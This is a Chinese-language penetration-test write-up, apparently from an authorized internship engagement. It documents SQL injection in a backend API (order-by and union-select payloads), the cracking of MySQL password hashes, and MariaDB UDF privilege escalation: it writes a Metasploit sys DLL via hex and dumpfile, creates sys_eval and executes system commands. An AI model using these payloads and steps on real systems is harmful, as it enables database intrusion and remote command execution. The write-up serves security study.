前言
实习期间在对某授权的平台服务渗透过程中发现网页调用接口存在 SQL 注入漏洞、所对应 MySQL 数据库存在相关用户弱口令及 UDF 提权漏洞,并成功利用 UDF 提权漏洞实现对内网服务的渗透,下面是渗透记录过程,部分内容会做模糊处理。
后台接口 SQL 注入
前面的渗透已成功进入了某系统平台后台,下面是直接基于登录某平台后台后展开概述。
1、开启 BurpSuite 对其数据流量进行监听,在平台后台浏览过程中发现存在接口调用,遂对其接口进行相关测试。先随意在 POST 传参的数据里将搜索的数据使用 '
闭合测试,发现返回了数据库语句错误信息,如下图:
2、进一步对相关数据进行闭合测试,发现没有参数过滤及防火墙拦截。继续构造 Payload ,测试出 SQL 语句的闭合并使用 Order by
测试回显字段数,相关 Payload 如下:
Nu1L') order by 6 -- Qwer
返回结果如下:
当字段数为 6 时报错,则字段数为 5 ,且 SQL 语句闭合也已得知,经过简单测试发现数据库存在联合注入、布尔注入、时间盲注、报错注入。
3、获取数据库基本信息,由于回显字段为 5 ,故直接使用一句话先获取相关数据库版本、用户、当前数据库信息,相关 Payload 如下:
Nu1L') union select NuLl,nUlL,version(),database(),user() -- Qwer
返回数据库基本信息如图:
由图得知当前服务运行的数据库为 tmc3db
,数据库版本为 10.2.32-MariaDB
,数据库连接用户为 xiao
。
MySQL 数据库 UDF 提权
1、根据上述数据库手工注入暂且告一段落,为方便进一步获取其数据库更多权限信息,遂改用 SQLmap 工具进行注入,将请求的 POST 请求另存为文件,并在注入点处进行标记,使用 SQLmap 执行获取系统、账户、是否超级用户等信息,结果如下:
得知数据库运行平台为 Windows ,数据库系统为 MySQL ,账户为 xiao@%
,且该账户并非超级用户。
2、由于非超级用户的操作有限,故换个方法来查看其余用户及权限并获取其余用户密码哈希,同时再去后台平台浏览发现存在相关公网服务 IP ,并对相关 IP 进行信息收集,相关结果如下:
发现 root 用户可远程主机登录且该用户具有超级用户权限,并复制密码哈希前往相关平台使用 mysql5 加密方式对其进行数据查询,成功获得其密码
若查询不到也可将获得的哈希密码使用 hashcat 进行爆破,具体爆破所用时间视密码的复杂度,此处不具体概述。
此时对相关 IP 服务的扫描也有了结果,发现在一处 IP 上存在与该数据库版本信息相同的端口开放,如图:
然后对其进行数据库使用 root 用户连接,成功连接:
3、查看系统版本信息进行信息确认,如下:
MariaDB [mysql]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64 | x64 |
+----------------------+---------------------------+
1 row in set (0.161 sec)
系统为 Windows 系统,是所对应的操作系统,系统架构为 64 位,再查看数据库是否有文件读写权限,如下:
MariaDB [(none)]> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.087 sec)
secure_file_priv
为纯空,数据库可任意目录读写,尝试使用 load_file 函数读取一下 hosts 文件,如图,成功读取文件信息:
那么也可以相应的写 UDF 文件进行提权。
4、先去 Metasploit 相关目录下获取到适用于 Windows 64位系统的 UDF 提权相关 dll 文件(此处不用 SQLmap 的 UDF 相关文件,因为 SQLmap 的 UDF 相关文件为了防止被误杀都经过编码处理过,使用时需要处理一下, Metasploit 中的不需要处理即可使用),查看数据库根目录、数据目录、插件目录,如下:
MariaDB [mysql]> select @@basedir,@@datadir,@@plugin_dir;
+-----------+---------------+----------------------+
| @@basedir | @@datadir | @@plugin_dir |
+-----------+---------------+----------------------+
| D:\MySQL\ | D:\MySQLData\ | D:\MySQL\lib\plugin\ |
+-----------+---------------+----------------------+
1 row in set (0.091 sec)
先将用于 Windows 下 MySQL 数据库 UDF 提权的 dll 文件进行十六进制编码,如图:
接下来进行命令导出文件,此处注意导出使用 dumpfile 函数,而非 outfile 函数,因为 outfile 函数会对导出的文件内容会在行末写入新行,且更致命的是会存在对特殊字符转义操作,这样导出的二进制文件就会遭到破坏;而 dumpfile 函数则不对任何列或行进行终止,也不执行任何转义处理,此时导出的二进制文件还是完好的。
上述十六进制文件获取方法是在 Linux 系统中使用 od 命令并结合 awk 等命令辅助完成获取,也可以使用 MySQL 自带的 hex 函数来获取编码(前提相关 MySQL 数据库开启对文件可读写权限),命令如下:
# 直接传入路径
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll'));
# 也可以将路径 hex 编码
select hex(load_file(0x2f7573722f73686172652f6d65746173706c6f69742d6672616d65776f726b2f646174612f6578706c6f6974732f6d7973716c2f6c69625f6d7973716c7564665f7379735f36342e646c6c));
下面开始命令导出,导出的方法如下:
# 直接 select 查十六进制写入,需在十六进制数值前加 0x
select 0x4d5a90... into dumpfile 'D:/MySQL/lib/plugin/udf2.dll';
# 对十六进制解码写入(可不必)
select unhex('4d5a90...') into dumpfile 'D:/MySQL/lib/plugin/udf2.dll';
上述在 Windows 系统中一开始在文件路径中使用反斜杠未成功写入文件,改用正斜杠之后测试成功写入 UDF 文件。又或者不存在对应插件目录也可导致无法写入文件,可借助 NTFS 流创建相关目录文件夹后再写入,此处不具体概述。
结果如图:
成功导出,为确保文件成功导出到目标机,遂再使用 load_file 函数读取一下文件,如图:
成功返回文件十六进制编码,文件正确写入。
5、构造自定义函数并调用命令,构造函数命令如下:
MariaDB [mysql]> create function sys_eval returns string soname 'udf2.dll';
Query OK, 0 rows affected (0.213 sec)
此处 sys_eval
函数可自定义,然后查看 MySQL 函数是否有新增函数,命令如下:
MariaDB [mysql]> select * from mysql.func;
+----------+-----+----------+----------+
| name | ret | dl | type |
+----------+-----+----------+----------+
| sys_eval | 0 | udf2.dll | function |
+----------+-----+----------+----------+
1 row in set (0.184 sec)
至此成功使用自定义函数执行系统命令了:
MariaDB [mysql]> select sys_eval('whoami');
+------------------------------+
| sys_eval('whoami') |
+------------------------------+
| nt authority\network service |
+------------------------------+
1 row in set (0.171 sec)
其中, sys_eval
、sys_exec
、sys_set
、sys_get
几个函数输出结果区别:
sys_get
:获取特定环境变量的值sys_set
:设置环境变量的值。此函数接受一个名称/值对,然后将其定义为环境变量。使用sys_get
检索此类变量的值sys_exec
:执行其命令字符串参数并返回其退出状态。sys_eval
:执行其命令字符串参数并返回其标准输出。
以 Windows 平台下的 sys_eval
与 sys_exec
函数执行结果的区别如下:
MariaDB [mysql]> select sys_eval('whoami');
+------------------------------+
| sys_eval('whoami') |
+------------------------------+
| nt authority\network service |
+------------------------------+
1 row in set (0.176 sec)
MariaDB [mysql]> select sys_exec('whoami');
+------------------------------+
| sys_exec('whoami') |
+------------------------------+
| NULL |
+------------------------------+
1 row in set (0.102 sec)
6、删除自定义函数
drop function sys_eval;